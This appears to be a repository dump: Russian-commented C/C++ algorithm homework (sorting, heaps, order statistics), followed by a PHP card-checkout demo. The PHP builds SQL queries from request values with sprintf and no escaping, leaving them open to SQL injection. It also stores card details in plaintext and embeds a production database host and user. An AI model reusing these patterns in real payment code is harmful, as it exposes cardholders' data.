while (arr[i] < pivot)
i++;
while (arr[j] > pivot)
j--;
if (i <= j) {
tmp = arr[i];
arr[i] = arr[j];
arr[j] = tmp;
i++;
j--;
}
};
if (left < j)
quickSort(arr, left, j);
if (i < right)
quickSort(arr, i, right);
}
int main() {
long *mass = new long[100000];
long *power = new long[100000];
long m = 0, p = 0;
int i = 0, sorty =0;
while (scanf("%ld %ld", &m, &p) == 2) {
mass[i]=m;
power[i]=p;
i++;
}
quickSort(mass, sorty, i-1);
quickSort(power, sorty, i-1);
long curMass = mass[0], curHeight = 1; //строим башню с самого легкого на верху, спукаемся вниз проверяю массу прошлых и силу следующего.
for (size_t j = 1; j <= i ; j++) { // чем массивнее атлет тем больше его сила.
if (power[j] >= curMass) { // проверка на силу, потянет ли.
curMass += mass[j];
curHeight++;
}
}
delete(power);
delete(mass);
cout << curHeight;
return 0;
}<file_sep>/*
6_2. LSD для long long.
Дан массив неотрицательных целых 64разрядных чисел. Количество чисел не больше 10 6 .
Отсортировать массив методом поразрядной сортировки LSD по байтам.
In Out
3
4
1000000 7
4 7 1000000
*/
#include <iostream>
using namespace std;
long long int getByte(long long number, size_t n) { // get байт числа
return number >> (8 * n) & 255;
}
void countingSort(long long *data, size_t size, const size_t n) { // сортировка массива чисел по n байту
size_t count[256];
for(size_t i = 0; i < 256; i++) {
count[i] = 0;
}
for(size_t i = 0; i < size; i++) { // кол-во чисел с разными значениями байта (от 0 до 255)
count[getByte(data[i], n)]++;
}
for(size_t i = 1; i < 256; i++) { // первые индексы для вставки чисел
count[i] += count[i - 1];
}
long long *tmp = new long long[size]; // массив для результатов
for(size_t i = size - 1; ; i--) { // результирующий массив
tmp[--count[getByte(data[i], n)]] = data[i];
if(i == 0)
break;
}
for(size_t i = 0; i < size; i++) { // отсортированный массив в исходный
data[i] = tmp[i];
}
delete tmp;
}
void lsdSort(long long *data, size_t size) { //сама сортировка
size_t bytes = sizeof(long long);
for(size_t byte = 0; byte < bytes; byte++) {
countingSort(data, size, byte);
}
}
int main() {
size_t n = 0;
cin >> n;
long long *data = new long long[n];
for(size_t i = 0; i < n; i++) {
cin >> data[i];
}
lsdSort(data, n);
for(size_t i = 0; i < n; i++) {
cout << data[i] << " ";
}
delete data;
return 0;
}<file_sep>/*
* 1_4. Строки.
Напишите программу, печатающую набор строк в лексикографическом порядке.
Строки разделяются символом перевода строки '\n'. Если последний символ в потоке ввода '\n',
считать, что после него нет пустой строки. Максимальная длина строки 255 символов. Написать свою
функцию сравнения строк.
in
4
caba
abba
ab
aba
out
ab
aba
abba
caba
*/
#include <iostream>
using namespace std;
template <typename T>
int compareTo(const T *letter1, const T *letter2) {
while (*letter1== *letter2 && *letter1) {
letter1++;
letter2++;
}
return *letter1 <= *letter2;
}
template <typename T>
void insertionSort(T **arrPtr, int length) {
T *temp = arrPtr[0];
for (int i = 1; i < length ; ++i ) {
temp = arrPtr[i];
int j = 0;
for(j = i; j > 0 && compareTo(temp, arrPtr[j-1]); --j ) {
arrPtr[j] = arrPtr[j-1];
}
arrPtr[j] = temp;
}
}
int main() {
int count = 0;
cin >> count;
//Массив строк
char **array = new char*[count];
for (int i = 0; i < count; i++) {
array[i]= new char[255];
cin >> array[i];
}
insertionSort(array, count);
for (int i = 0; i < count; i++) {
cout << array[i]<<endl;
}
for (int i = 0; i < count ; ++i) {
delete array[i];
}
delete array;
return 0;
}<file_sep>//
// Created by viacheslav on 29.02.16.
/*
* Составить программу поиска M наибольших чисел в заданном массиве целых (типа int) чисел A длины N.
Числа M, N и элементы массива A подаются на стандартный ввод программы в следующем порядке:
N
A1 A2 ... AN
M
Процедура поиска должна быть оформлена в виде отдельной функции, которой подается на вход массив целых чисел, выделенный
в динамической памяти, его длина и требуемое количество максимальных чисел. На выход функция должна возвращать динамически
выделенный массив с найденными значениями.
*/
#include <malloc.h>
#include <stdlib.h>
#define SWAP(A, B) { int t = A; A = B; B = t; }
static int bubblesort(int *a, int n)
{
if (n <= 0 || a == NULL) { // param check
return 0;
}
int i, j;
for (i = n - 1; i >= 0; i--) {
for (j = 0; j < i; j++) {
if (a[j] > a[j + 1])
SWAP( a[j], a[j + 1] );
}
}
return 1;
}
int* searchMe(const int *mas, int size, int sizeOfSearch){
if (sizeOfSearch > size || mas == NULL) {
return NULL;
}
int *sortMas = (int*) malloc(size * sizeof(int));
if (sortMas == NULL) {
free(sortMas);
return NULL;
}
int i = 0;
for (; i < size; ++i) {
sortMas[i]= mas[i];
}
if (bubblesort(sortMas, size) == 0) {
free(sortMas);
return NULL;
};
int*endMas = (int*) malloc(sizeOfSearch * sizeof(int));
if (endMas == NULL) {
free(sortMas);
return NULL;
}
int k = 0;
for (i = size - 1; k < sizeOfSearch; ++k, --i) {
endMas[k]= sortMas[i];
}
free(sortMas);
return endMas;
}
int main(int argc, const char * argv[]) {
int size = 0;
if(scanf("%d",&size) != 1){
printf("%s","[error]");
return 0;
}
int *mas = (int*) malloc(size * sizeof(int));
if (mas == NULL) {
free(mas);
printf("%s","[error]");
return 0;
}
int i = 0;
for (; i < size; ++i) {
if (scanf("%d",&mas[i]) != 1){
free(mas);
printf("%s","[error]");
return 0;
}
}
int sizeOfSearch = 0;
if(scanf("%d",&sizeOfSearch) != 1 || sizeOfSearch > size){
free(mas);
printf("%s","[error]");
return 0;
}
int *finalEndMas = searchMe(mas, size, sizeOfSearch);
free(mas);
if (finalEndMas == NULL) {
free(finalEndMas);
printf("%s","[error]");
return 0;
}
int j = 0;
for (; j < sizeOfSearch; ++j) {
printf("%d%s", finalEndMas[j], " ");
}
free(finalEndMas);
return 0;
}
<file_sep>/*4_2.
Даны неотрицательные целые числа n,k и массив целых чисел из [0..10^9] размера n. Требуется
найти kю порядковую статистику. т.е. напечатать число, которое бы стояло на позиции с индексом k
(0..n1) в отсортированном массиве. Напишите нерекурсивный алгоритм.
Требования к дополнительной памяти: O(n). Требуемое среднее время работы: O(n).
Функцию Partition следует реализовывать методом прохода двумя итераторами в одном
направлении. Описание для случая прохода от начала массива к концу:
● Выбирается опорный элемент. Опорный элемент меняется с последним элементом массива.
● Во время работы Partition в начале массива содержатся элементы, не бОльшие опорного.
Затем располагаются элементы, строго бОльшие опорного. В конце массива лежат
нерассмотренные элементы. Последним элементом лежит опорный.
● Итератор (индекс) i указывает на начало группы элементов, строго бОльших опорного.
● Итератор j больше i, итератор j указывает на первый нерассмотренный элемент.
● Шаг алгоритма. Рассматривается элемент, на который указывает j. Если он больше опорного,
то сдвигаем j.
Если он не больше опорного, то меняем a[i] и a[j] местами, сдвигаем i и сдвигаем j.
● В конце работы алгоритма меняем опорный и элемент, на который указывает итератор i.
Реализуйте стратегию выбора опорного элемента “медиана трёх”. Функцию Partition реализуйте
методом прохода двумя итераторами от конца массива к началу.
In Out
10 4
1 2 3 4 5 6 7 8 9 10 5
10 0
3 6 5 7 2 9 8 10 4 1 1
10 9
0 0 0 0 0 0 0 0 0 1 1
*/
#include <iostream>
#include <vector>
using namespace std;
template <typename T>
void medianOfThree (vector<T>& a, int left, int right) { // Установка медианы, на месте a[left] становится средний из 3х элементов
// left - средний. (l+r)/2 -минимальный. right - максимальный
if (a[( left + right ) / 2] > a[right])
swap (a[( left + right ) / 2], a[right]);
if (a[left] < a[( left + right ) / 2])
swap ( a[left], a[( left + right ) / 2]);
if (a[left] > a[right])
swap (a[left], a[right]);
}
template <typename T>
int partition (vector <T> &a, int left, int right) { // Нахождение места элемента
// Метод прохода двумя итераторами от конца массива к началу.
medianOfThree( a, left, right );
int i = right;
int j = right;
bool step = false;
while (j > left){
// Ускорение для повторяющихся элементов
while (a[left] == a[j] && j > left){
if (step)
swap(a[i--], a[j--]);
else
--j;
step=!step;
}
while (a[j] < a[left] && j > left)
--j;
while (a[j] > a[left] && j > left)
swap(a[j--], a[i--]);
}
swap (a[left], a[i]);
return i;
}
template <typename T>
T kStat (vector<T> &a, int k) {
int begin = 0;
int end = static_cast<int>(a.size()) - 1;
int pivotPos = -1;
while ( pivotPos != k ) {
pivotPos = partition (a, begin, end); //Находим позицию опорного элемента, eсли она равна k - выводим
if (pivotPos < k)
begin = pivotPos + 1;
else
end = pivotPos - 1;
}
return a[k];
}
int main () {
int n = 0;
cin >> n;
int k = 0;
cin >> k;
vector<int> a(n, 0);
for (int i = 0; i < n ; ++i) {
cin >> a[i];
}
cout << kStat (a, k);
return 0;
}
<file_sep>/*3_4. Закраска прямой 2.
Во всех данного раздела необходимо реализовать и использовать
локальную пирамидальную
сортировку
(без использования дополнительной памяти).
На числовой прямой окрасили
N отрезков. Известны координаты левого и правого концов каждого
отрезка ( Li и Ri ). Найти сумму длин частей числовой прямой, окрашенных ровно в один слой.
In Out
3 3
1 4
7 8
2 5
*/
#include <iostream>
using namespace std;
template <typename T>
struct Part {
bool anEnd;
T val;
Part() : anEnd(false), val(0) {}
Part(const Part& o) : anEnd(o.anEnd), val(o.val) {}
};
template <typename T>
void siftDown(T* arr, int index, int size) {
for(int i = index; 2*i+2 <= size; ) {
int left = 2*i + 1;
int right = 2*i + 2;
int largest = i;
if( left < size && (arr[left].val > arr[largest].val) )
largest = left;
if( right < size && (arr[right].val > arr[largest].val) )
largest = right;
if(largest != i) {
swap( arr[i], arr[largest] );
i = largest;
} else break;
}
}
template <typename T>
void heapSort(T* arr, int size ) {
for(int i = size/2 - 1; i >= 0; --i ) {
siftDown( arr, i, size);
}
for(int i = 0 ;i < size; ++i) {
swap(arr[0], arr[size-i-1]);
siftDown(arr, 0, size-i-1);
}
}
template <class T>
T getSingleLayerNumber(Part<T> *points, int n) {
T result = 0;
heapSort(points, n);
int lastStart = -1;
int curLayers = 0;
for(int i = 0; i < n; i++) {
bool was1 = (curLayers == 1);
curLayers += (points[i].anEnd) ? 1 : -1;
if(curLayers == 1) {// теперь один слой, сохраняем координату
lastStart = points[i].val;
}
else if(was1) {// был один слой, а теперь нет
result += (points[i].val - lastStart);
}
}
return result;
}
int main() {
int num = 0;
cin >> num;
num *= 2;
Part <int>*arr = new Part<int>[num];
//считывание данных
int cntr = 0;
while (cntr < num) {
cin >> arr[cntr].val;
cin >> arr[cntr+1].val;
arr[cntr].anEnd = true;
cntr+=2;
}
cout << getSingleLayerNumber(arr, num);
delete arr;
return 0;
}
<file_sep>/*
2_2. Быстрое сложение.
Для сложения чисел используется старый компьютер. Время, затрачиваемое на нахождение суммы
двух чисел равно их сумме.
Таким образом для нахождения суммы чисел 1,2,3 может потребоваться разное время, в
зависимости от порядка вычислений.
((1+2)+3) > 1+2 + 3+3 = 9
((1+3)+2) > 1+3 + 4+2 = 10
((2+3)+1) > 2+3 + 5+1 = 11
Требуется написать программу, которая определяет минимальное время, достаточное для
вычисления суммы заданного набора чисел.
Формат входных данных.
Вначале вводится n количество чисел. Затем вводится n строк значения
чисел (значение каждого числа не превосходит 10^9, сумма всех чисел не превосходит 2*10^9).
Формат выходных данных.
Натуральное число минимальное время.
in out
5
5 2 3 4 6 45
5
3 7 6 1 9 56
*/
#include <stdio.h>
#include <iostream>
using namespace std;
template <class T>
class Heap {
public:
Heap( size_t );
~Heap(){ delete mas; };
void heapifyMin( size_t ,size_t );
void buildHeapMin();
void addElem( T );
size_t CountTime( size_t );
private:
size_t size; // size of new heap
T* mas; // data
size_t ownedSize; // used size
};
template <class T>
Heap<T>::Heap(size_t sizeMas): size(sizeMas), ownedSize(0) {
mas = new T[size];
}
template <class T>
void Heap<T>::addElem(T Data) {
mas[ownedSize] = Data;
ownedSize++;
}
template <class T>
void Heap<T>::heapifyMin(size_t n, size_t i) {
size_t left = 2 * i + 1;
size_t right = 2 * i + 2;
size_t min = i;
// Ищем меньшего сына, если такой есть.
if (left < n && mas[left] < mas[i]) {
min = left;
}
if (right < n && mas[right] < mas[min]) {
min = right;
}
// Если меньший сын есть, то проталкиваем корень в него.
if (min != i) {
T buff = mas[i];
mas[i] = mas[min];
mas[min] = buff;
this->heapifyMin(n,min);
}
}
template <class T>
void Heap<T>::buildHeapMin() {
for (size_t i = size / 2; i > 0; --i) {
this->heapifyMin(size,i - 1);
}
}
template <class T>
size_t Heap<T>::CountTime(size_t n) { //Расчет времени
size_t sum = 0;
while (n > 1) {
size_t min = 1;
if (n > 2 && mas[2] < mas[min]) min = 2;
mas[0] += mas[min];
sum += mas[0];
mas[min] = mas[n - 1];
n--;
this->heapifyMin(n, min);
this->heapifyMin(n, 0);
}
return sum;
}
int main() {
size_t n = 0; // Количество чисел
cin >> n;
Heap<int> *hp = new Heap<int>(n);
int a = 0;
for (size_t i = 0; i < n; ++i )
{
cin >> a;
hp->addElem(a);
}
hp->buildHeapMin();
size_t time = hp->CountTime(n);
cout << time;
return 0;
}
<file_sep>/*Дано N кубиков. Требуется определить каким количеством способов можно выстроить из этих кубиков
пирамиду.
Формат входных данных:
На вход подается количество кубиков N.
Формат выходных данных:
Вывести число различных пирамид из N кубиков.
6_1.Высокая пирамида. Каждый вышележащий слой пирамиды должен быть не больше нижележащего.
N ≤ 200.
in out
3 3
5 7
7 15
*/
#include <iostream>
using namespace std;
int f(int n, int k) {
int r=0;
for(int i=k; i<=n/2; ++i)
r+=f(n-i,i);
return 1+r;
}
int main() {
int n;
cin>>n;
cout<<f(n, 1);
return 0;
}<file_sep>/*
5_1. Первые k элементов длинной последовательности.
Дана очень длинная последовательность целых чисел длины n. Требуется вывести в
отсортированном виде её первые k элементов. Последовательность может не помещаться в память.
Время работы O(n * log(k)). Доп. память O(k). Использовать слияние.
In Out
9 4
3 7 4 5 6 1 15 4 2 1 2 3 4
*/
#include <iostream>
#include <cstring>
using namespace std;
template <typename T>
void insertionSort(T *arrPtr, int length) {
T temp = arrPtr[0];
for (int i = 1; i < length ; ++i ) {
temp = arrPtr[i];
int j = 0;
for(j = i; j > 0 && (temp < arrPtr[j-1]); --j ) {
arrPtr[j] = arrPtr[j-1];
}
arrPtr[j] = temp;
}
}
// Слияние двух массивов
template <typename T>
void merge(T* first, T* second, int size_f, int size_s){
T* result = new T[size_f + size_s];
int i = 0, j = 0;
// Сливаем массивы
while (i < size_f && j < size_s){
if (first[i] < second[j]){
result[i + j] = first[i];
++i;
}
else{
result[i + j] = second[j];
++j;
}
}
// закончился первый массив
if (i == size_f)
memcpy(result + i + j, second + j, sizeof(T)*(size_s-j));
//закончился второй массив
else memcpy(result + i + j, first + i, sizeof(T)*(size_f-i));
// Копируем
memcpy(second, result, sizeof(T) * size_s);
delete result;
}
int main() {
int size = 0;
cin >> size;
int count = 0;
cin >> count;
int* arr = new int [count];
int* res = new int [count];
// Первые count чисел вводим в массив res/ все остальные в массив arr и сливаем его с res
int i = 0;
while(i < size){
if(i == 0){
for(int j = 0; j < count && i < size; ++j, ++i)
cin >> res[j];
insertionSort(res, count);
}
int j = 0;
for(; j < count && i < size; ++j, ++i)
cin >> arr[j];
insertionSort(arr, j);
merge(arr, res, j, count);
}
for(i = 0; i < count; ++i){
cout << res[i] << " ";
}
delete res;
delete arr;
return 0;
}
<file_sep>cmake_minimum_required(VERSION 3.3)
project(dz2)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11")
set(SOURCE_FILES main.cpp)
add_executable(dz2 ${SOURCE_FILES})<file_sep>//
// Created by viacheslav on 29.02.16.
/*
* Составить программу поиска M наибольших чисел в заданном массиве целых (типа int) чисел длины N.
Числа M, N и элементы массива подаются на стандартный ввод программы в следующем порядке:
N
A1 A2 ... AN
M
Процедура поиска должна быть оформлена в виде отдельной функции, которой подается на вход массив целых чисел, выделенный
в динамической памяти, его длина и требуемое количество максимальных чисел. На выход функция должна возвращать динамически
выделенный массив с найденными значениями.
*/
#include <malloc.h>
void searchMe(int *mas, int size, int sizeOfSearch) {
int max = mas[0];
size_t b = 0, v = 0, a = 0, j = 1;
int *endmas = (int *)malloc(sizeOfSearch*sizeof(int));
//assert(endmas != NULL); // результирующий массив
//max = mas[0];
for (; v < sizeOfSearch; v++) {
//max = -1410065407 ;
for (b = 0; b < size; b++) {
if(v == 0){
if (mas[b] > max) {
max = mas[b];
//endmas[v]=max;
//printf(" %d", max);
}
} else {
//printf("check %d ", mas[b]);
if((mas[b]<endmas[v-1])&&(j==1)){
max = mas[b];
//printf("here %d ", max);
j=0;
}
//max = mas[0];
if (((mas[b] > max) && (mas[b] < endmas[v-1]))) {
//printf(" %d ", max);
max = mas[b];
//endmas[v]=max;
//printf("here %d ", max);
}
}
}
//printf("end /n");
endmas[v]=max;
j=1;
//max = mas[0];
}
for (; a < sizeOfSearch; a++) {
printf("%d ", endmas[a]);
}
free(endmas);
}
int main(int argc, char* argv[])
{
int maxN=0, temp=0, sizesearch=0;
scanf("%d", &maxN);
int *mas = (int *)malloc(maxN*sizeof(int));
size_t i=0;
for (; i < maxN;i++) {
if(scanf("%d",&temp) == 1) {
mas[i]=temp;
}
else {
free(mas);
mas = NULL;
break;
}
}
if(mas == NULL) {
printf("[error]\n");
return 0;
}
scanf("%d", &sizesearch);
//assert(sizesearch > 0); // длина массива
//for (i=0; i < sizesearch; i++) {
// printf(" %d", mas[i]);
//}
searchMe(mas,maxN,sizesearch);
free(mas);
return 0;
}
|
21c271c7ee2e7493212bb02ec53a5e4401df2854
|
[
"C",
"CMake",
"C++"
] | 18
|
C++
|
slavyanskii/workspace
|
9200c18db05aceac2f847cdfd28b85546788c16a
|
292a465fd3b5c62e55690f2f7b2581e852d9835e
|
refs/heads/master
|
<file_sep>'use strict';
app.controller('DeleteCtrl', ['$scope', 'notifier', '$location', 'DeleteAllPeopleResource',
function CreateCtrl($scope, notifier, $location, DeleteAllPeopleResource) {
$scope.deleteAll = function() {
DeleteAllPeopleResource.deleteAll()
.then(function() {
notifier.success('All people successfully deleted!');
$location.path('/main');
});
}
}
]);
<file_sep>'use strict';
app.factory('CreatePersonResource', ['$resource', 'baseServiceUrl', function($resource, baseServiceUrl) {
var CreatePersonResource = $resource(baseServiceUrl + 'PostBgPersonModel', null, {
'create': {
method: 'Post',
isArray: false,
}
});
return {
create: function(person) {
return CreatePersonResource.create(person).$promise;
}
}
}]);
<file_sep>'use strict';
app.factory('PeopleResource', ['$resource', 'baseServiceUrl', function($resource, baseServiceUrl) {
var PeopleResource = $resource(baseServiceUrl + 'GetBgPersonModels/:id', null, {
'public': {
method: 'GET',
isArray: true
},
'byId': {
method: 'GET',
params: {
id: '@id'
},
isArray: false
}
});
return {
getAll: function() {
return PeopleResource.public();
},
byId: function(id) {
return PeopleResource.byId({
id: id
});
}
}
}]);
<file_sep>BgPersonGeneratorClient
=======================
An AngularJS SPA Client for BgPeopleWebApi's services.<br>
All people data is randomly generated with [BgPersonGenerator](https://github.com/TsvetanKT/BgPersonGenerator).
### To run:
* Run [BgPeopleWebApi](https://github.com/TsvetanKT/BgPeopleWebApi).
* Start `run.bat` if you have **Node.js** or run the client through Visual Studio, NetBeans, etc.
* Open it in the browser (for `run.bat` default address is `http://localhost:3333/`, you can change the port in `web-server.js`).
### Views:
* Home view:<br>

* Create person view:<br>

* Generate people view:<br>

* Edit person view:<br>
<file_sep>'use strict';
app.controller('GenerateCtrl', ['$scope', 'notifier', '$location', 'GeneratePeopleResource',
function GenerateCtrl($scope, notifier, $location, GeneratePeopleResource) {
var generateData = $scope.generateData;
$scope.generatePeople = function(generateData) {
GeneratePeopleResource.generate(generateData)
.then(function() {
notifier.success(generateData.numberOfPeople + ' people generated successfully!');
$location.path('/main');
});
}
}
]);
<file_sep>'use strict';
app.controller('EditCtrl', ['$scope', 'notifier', '$location', 'EditPersonResource', 'DeletePersonResource', 'PeopleResource', 'currentPerson', '$routeParams',
function EditCtrl($scope, notifier, $location, EditPersonResource, DeletePersonResource, PeopleResource, currentPerson, $routeParams) {
var currentPerson = currentPerson.get();
if (currentPerson.Id === undefined || $routeParams.id != currentPerson.Id) {
//Get currentPerson
var currentId = $routeParams.id;
currentPerson = PeopleResource.byId(currentId);
}
$scope.currentPerson = currentPerson;
$scope.editPerson = function(currentPerson) {
EditPersonResource.edit(currentPerson)
.then(function() {
notifier.success(currentPerson.FirstName + ' ' + currentPerson.LastName + ' edited successfully!');
$location.path('/main');
}, function() {
notifier.error('Bad person information!');
});
}
$scope.deletePerson = function() {
DeletePersonResource.delete(currentPerson.Id)
.then(function() {
notifier.success(currentPerson.FirstName + ' ' + currentPerson.LastName + ' deleted successfully!');
$location.path('/main');
});
}
$scope.genders = [{
name: 'Male',
value: 'true'
}, {
name: 'Female',
value: 'false'
}];
}
]);
<file_sep>'use strict';
app.factory('EditPersonResource', ['$resource', 'baseServiceUrl', function($resource, baseServiceUrl) {
var EditPersonResource = $resource(baseServiceUrl + 'PutBgPersonModel/:id', null, {
'edit': {
method: 'PUT',
params: {
id: '@id'
},
isArray: false,
}
});
return {
edit: function(person) {
return EditPersonResource.edit({
id: person.Id
}, person)
.$promise;
}
}
}]);
<file_sep>'use strict';
app.controller('CreateCtrl', ['$scope', 'notifier', '$location', 'CreatePersonResource',
function CreateCtrl($scope, notifier, $location, CreatePersonResource) {
var person = $scope.person;
$scope.createPerson = function(person) {
CreatePersonResource.create(person)
.then(function() {
notifier.success(person.firstName + ' ' + person.lastName + ' created successfully!');
$location.path('/main');
});
}
}
]);
<file_sep>'use strict';
app.factory('DeletePersonResource', ['$resource', 'baseServiceUrl', function($resource, baseServiceUrl) {
var DeletePersonResource = $resource(baseServiceUrl + 'DeleteBgPersonModel/:id', null, {
'delete': {
method: 'DELETE',
params: {
id: '@id'
},
isArray: false
}
});
return {
delete: function(id) {
return DeletePersonResource.delete({
id: id
})
.$promise;
}
}
}]);
<file_sep>'use strict';
app.factory('GeneratePeopleResource', ['$resource', 'baseServiceUrl', function($resource, baseServiceUrl) {
var GeneratePeopleResource = $resource(baseServiceUrl + 'PostRange', null, {
'generate': {
method: 'Post',
isArray: false
}
});
return {
generate: function(generateData) {
return GeneratePeopleResource.generate(generateData).$promise;
}
}
}]);
|
3926257ebdc524b1fc9022aaf432391b9701037c
|
[
"JavaScript",
"Markdown"
] | 10
|
JavaScript
|
TsvetanKT/BgPersonGeneratorClient
|
65532a32f3eda1bf0a07fe67343b7962ae44e7fb
|
94435eeadd5a816d2b10dde33b93b4accf892e3f
|
refs/heads/master
|
<repo_name>umaqgeek/green-packet-umar-checkout<file_sep>/config/dbconnect.php
<?php
// development
// $dbhost = "localhost";
// $dbuser = "root";
// $dbpass = "";
// $dbname = "paygate_greenpacket_db";
// production
$dbhost = "tj5iv8piornf713y.cbetxkdyhwsb.us-east-1.rds.amazonaws.com";
$dbuser = "yxvw19x64x9huqqz";
$dbpass = "<PASSWORD>";
$dbname = "lyaawaqt6soek49l";
$conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
<file_sep>/config/func.php
<?php
require("dbconnect.php");
function isValidMerchant($merchantId) {
$sql = sprintf("SELECT m.m_id FROM merchants m WHERE MD5(CONCAT(m.m_id, m.m_salt)) = '%s'", $merchantId);
$result = $GLOBALS['conn']->query($sql);
if ($result->num_rows > 0) {
return true;
} else {
return false;
}
}
function isReferenceExist($refId) {
$sql = sprintf("SELECT tr.tr_id FROM transactions tr WHERE tr.tr_reference = '%s' AND tr.tr_status = 'Success'", $refId);
$result = $GLOBALS['conn']->query($sql);
if ($result->num_rows > 0) {
return true;
} else {
return false;
}
}
function getMerchant($merchantId) {
$sql = sprintf("SELECT m.m_id, m.m_email FROM merchants m WHERE MD5(CONCAT(m.m_id, m.m_salt)) = '%s'", $merchantId);
$result = $GLOBALS['conn']->query($sql);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
return $row;
}
} else {
return null;
}
}
function addTransactions($data) {
$status = array(
'status' => true,
'desc' => ''
);
$amount = str_replace(',', '', number_format($data['amount'], 2));
$amount = str_replace('.', '', $amount);
$creditCardInfo = $data['credit-card-no'].'<br />'.$data['name'].'<br />'.$data['banks'];
$merchant = getMerchant($data['merchantId']);
if ($merchant !== null) {
$sql = sprintf("INSERT INTO transactions(tr_datetime, m_id, tr_reference,
tr_transaction_id, tr_auth_code, tr_credit_card_info, tr_payment_method,
tr_amount, tr_currency, tr_discount, tr_prod_desc, tr_status,
tr_error_desc) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s',
'%s', '%s', '%s', '%s')",
$data['billingDate'],
$merchant['m_id'],
$data['reference'],
$data['bankReference'],
$data['bankAuth'],
$creditCardInfo,
$data['paymentOption'],
$amount,
$data['currency'],
"",
"",
$data['paymentStatus'],
$data['errorDesc']
);
if ($GLOBALS['conn']->query($sql) === TRUE) {
$status['status'] = true;
$status['desc'] = '';
} else {
$status['status'] = false;
if (strpos($GLOBALS['conn']->error, 'Duplicate entry') !== false)
$status['desc'] = 'Reference already paid';
}
} else {
$status['status'] = false;
$status['desc'] = 'Invalid merchant Id';
}
return $status;
}
<file_sep>/pages/responseSuccessPage.php
<?php include("header.php"); ?>
<div class="col-sm-12">
<span class=""></span> <strong>Summary of Payment</strong>
<hr />
</div>
<div class="col-sm-4"><strong>Status</strong></div>
<div class="col-sm-8"><strong class="total"><?=$data['paymentStatus']; ?></strong></div>
<div class="col-sm-4"><strong>Billing Date</strong></div>
<div class="col-sm-8"><?=$data['billingDate']; ?></div>
<div class="col-sm-4"><strong>Bank Transaction No.</strong></div>
<div class="col-sm-8"><?=$data['bankReference']; ?></div>
<div class="col-sm-4"><strong>Reference No.</strong></div>
<div class="col-sm-8"><?=$data['reference']; ?></div>
<div class="col-sm-12">
<hr />
<h3>Thank you for your business.</h3>
<p>The card with this number in
<strong><?=$data['credit-card-no']; ?></strong> has been successfully charged <strong><?=$data['currency']; ?> <?=$data['amount']; ?></strong> . A copy of this receipt is also in your transaction history.</p>
<p>If you have any questions, please let us know. We'll get back to you as soon as we can.</p>
<a href="!#"><EMAIL></a>
</div>
<div class="col-sm-12">
<hr />
<strong>Credit-Card Information</strong>
<ul>
<li><?=$data['name']; ?></li>
<li><?=$data['credit-card-no']; ?></li>
<li><?=$data['banks']; ?></li>
</ul>
</div>
<div class="col-sm-12">
<hr />
<strong>Total :</strong>
<strong class="total"><?=$data['currency']; ?> <?=$data['amount']; ?></strong>
</div>
<div class="col-sm-12">
<hr />
<p>
<strong>You are all set.</strong> Your card has been charged, and no further action is required on your part.
</p>
<a class="btn btn-success" style="width: 100%;" href="#!">Back to Merchant</a>
<button class="btn btn-info" style="width: 100%;" href="#!" type="button" onclick="window.print();">Print</button>
</div>
<?php include("footer.php"); ?>
<file_sep>/pages/requestPage.php
<?php include("header.php"); ?>
<form method="post" action="index.php">
<div class="col-sm-12">
<span class=""></span> <strong>Summary of Transaction</strong>
<hr />
</div>
<div class="col-sm-3"><strong>Net Charges</strong></div>
<div class="col-sm-9">MYR <?=$data['amount']; ?></div>
<div class="col-sm-3"><strong>Pay To</strong></div>
<div class="col-sm-9"><?=$data['merchant']['m_email']; ?></div>
<div class="col-sm-3"><strong>Reference ID</strong></div>
<div class="col-sm-9"><?=$data['reference']; ?></div>
<div class="col-sm-12"><hr /></div>
<div class="col-sm-12">
<span class=""></span> <strong>Payment Option</strong>
<hr />
</div>
<div class="col-sm-12">
<select class="form-control" name="paymentOption">
<option value="credit-card">Credit Card</option>
<option value="banks">Banks</option>
</select>
</div>
<div class="col-sm-12"><hr /></div>
<div class="col-sm-12">
<span class=""></span> <strong>Credit Card Details</strong>
<hr />
</div>
<div class="col-sm-12">
<center class="alert-danger">Timeout: <span id="timeOut"></span></center>
<br />
</div>
<div class="col-sm-2"><strong>Name</strong></div>
<div class="col-sm-10">
<input class="form-control" type="text" name="name" placeholder="Card holder's name." required />
</div>
<div class="col-sm-2"><strong>Credit Card No.</strong></div>
<div class="col-sm-10">
<input class="form-control" type="text" name="credit-card-no" placeholder="123456789123" required />
</div>
<div class="col-sm-2"><strong>CVC/CVV2</strong></div>
<div class="col-sm-4">
<input class="form-control" type="password" name="cvc" placeholder="xxx" required />
</div>
<div class="col-sm-2"><strong>Expiry Date</strong></div>
<div class="col-sm-2">
<select class="form-control" name="month" required>
<option value="" disabled selected hidden>MM</option>
<?php for ($i=1; $i<=12; $i++) { ?>
<option value="<?=$i; ?>"><?=$i; ?></option>
<?php } ?>
</select>
</div>
<div class="col-sm-2">
<select class="form-control" name="year" required>
<option value="" disabled selected hidden>YYYY</option>
<?php for ($i=date('Y')+10; $i>=date('Y')-5; $i--) { ?>
<option value="<?=$i; ?>"><?=$i; ?></option>
<?php } ?>
</select>
</div>
<div class="col-sm-2"><strong>Issuing Country</strong></div>
<div class="col-sm-10">
<select class="form-control" name="country" required>
<option value="MY">Malaysia</option>
</select>
</div>
<div class="col-sm-2"><strong>Issuing Bank</strong></div>
<div class="col-sm-10">
<select class="form-control" name="banks" required>
<option value="" disabled selected hidden>Issuing bank for the card holder</option>
<option value="Bank Islam Berhad">Bank Islam</option>
<option value="Maybank Berhad">Maybank</option>
</select>
</div>
<div class="col-sm-12"><hr /></div>
<div class="col-sm-12">
<label id="lblAuth">
<input type="checkbox" name="cbxAuth" id="cbxAuth" /> I authorize Green Packet to debit the above net charges from my credit card.
<input type="hidden" name="amount" value="<?=$data['amount']; ?>" />
<input type="hidden" name="merchantId" value="<?=$data['merchantId']; ?>" />
<input type="hidden" name="reference" value="<?=$data['reference']; ?>" />
<input type="hidden" name="signature" value="<?=$data['signature']; ?>" />
<input type="hidden" name="pendingRequest" value="1" />
</label>
</div>
<div class="col-sm-12">
<button class="btn btn-success" type="submit" id="btnProceed">Proceed</button>
<button class="btn btn-warning" type="button" id="btnCancel">Cancel</button>
</div>
</form>
<form method="post" action="index.php" id="formTimeOut">
<input type="hidden" name="timeOutRequest" value="1" />
</form>
<?php include("footer.php"); ?>
<file_sep>/README.md
